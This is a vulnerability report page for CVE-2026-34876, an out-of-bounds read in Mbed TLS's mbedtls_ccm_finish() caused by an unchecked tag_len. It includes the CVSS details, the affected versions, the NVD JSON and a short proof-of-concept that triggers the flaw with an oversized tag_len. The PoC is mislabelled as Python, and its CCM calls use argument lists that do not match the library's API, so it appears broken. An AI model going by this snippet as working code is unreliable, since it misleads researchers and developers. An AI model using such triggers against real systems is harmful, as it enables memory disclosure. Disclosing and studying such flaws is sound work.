Security Vulnerability Report
中文
CVE-2026-34876 CVSS 7.5 HIGH

CVE-2026-34876

Published: 2026-04-02 16:16:26
Last Modified: 2026-04-07 12:14:22

Description

An issue was discovered in Mbed TLS 3.x before 3.6.6. An out-of-bounds read vulnerability in mbedtls_ccm_finish() in library/ccm.c allows attackers to obtain adjacent CCM context data via invocation of the multipart CCM API with an oversized tag_len parameter. This is caused by missing validation of the tag_len parameter against the size of the internal 16-byte authentication buffer. The issue affects the public multipart CCM API in Mbed TLS 3.x, where mbedtls_ccm_finish() can be invoked directly by applications. In Mbed TLS 4.x versions prior to the fix, the same missing validation exists in the internal implementation; however, the function is not exposed as part of the public API. Exploitation requires application-level invocation of the multipart CCM API.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:arm:mbed_tls:*:*:*:*:*:*:*:* - VULNERABLE
Mbed TLS 3.x < 3.6.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include "mbedtls/ccm.h" #include <string.h> int main() { mbedtls_ccm_context ctx; unsigned char key[16] = {0}; // Example key unsigned char nonce[12] = {0}; // Example nonce unsigned char input[10] = {0}; unsigned char output[10] = {0}; unsigned char tag[16]; // Standard tag buffer size_t tag_len = 32; // Vulnerable: Oversized tag_len > 16 mbedtls_ccm_init(&ctx); mbedtls_ccm_setkey(&ctx, MBEDTLS_CIPHER_ID_AES, key, 128); // Start encryption mbedtls_ccm_starts(&ctx, MBEDTLS_CCM_ENCRYPT, nonce, 12, 8); mbedtls_ccm_update(&ctx, input, 10, output, 10); // Trigger the vulnerability: finish with oversized tag_len // This will cause an out-of-bounds read in mbedtls_ccm_finish int ret = mbedtls_ccm_finish(&ctx, tag, tag_len); if (ret != 0) { // Handle error or exploit result } mbedtls_ccm_free(&ctx); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34876", "sourceIdentifier": "[email protected]", "published": "2026-04-02T16:16:26.180", "lastModified": "2026-04-07T12:14:22.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Mbed TLS 3.x before 3.6.6. An out-of-bounds read vulnerability in mbedtls_ccm_finish() in library/ccm.c allows attackers to obtain adjacent CCM context data via invocation of the multipart CCM API with an oversized tag_len parameter. This is caused by missing validation of the tag_len parameter against the size of the internal 16-byte authentication buffer. The issue affects the public multipart CCM API in Mbed TLS 3.x, where mbedtls_ccm_finish() can be invoked directly by applications. In Mbed TLS 4.x versions prior to the fix, the same missing validation exists in the internal implementation; however, the function is not exposed as part of the public API. Exploitation requires application-level invocation of the multipart CCM API."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arm:mbed_tls:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.0", "versionEndExcluding": "3.6.6", "matchCriteriaId": "11EB1D49-E6D0-407C-9798-C7E631B1A03D"}]}]}], "references": [{"url": "https://mbed-tls.readthedocs.io/en/latest/security-advisories/mbedtls-security-advisory-2026-03-ccm-finish-boundary-check/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://mbed-tls.readthedocs.io/en/latest/tech-updates/security-advisories/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}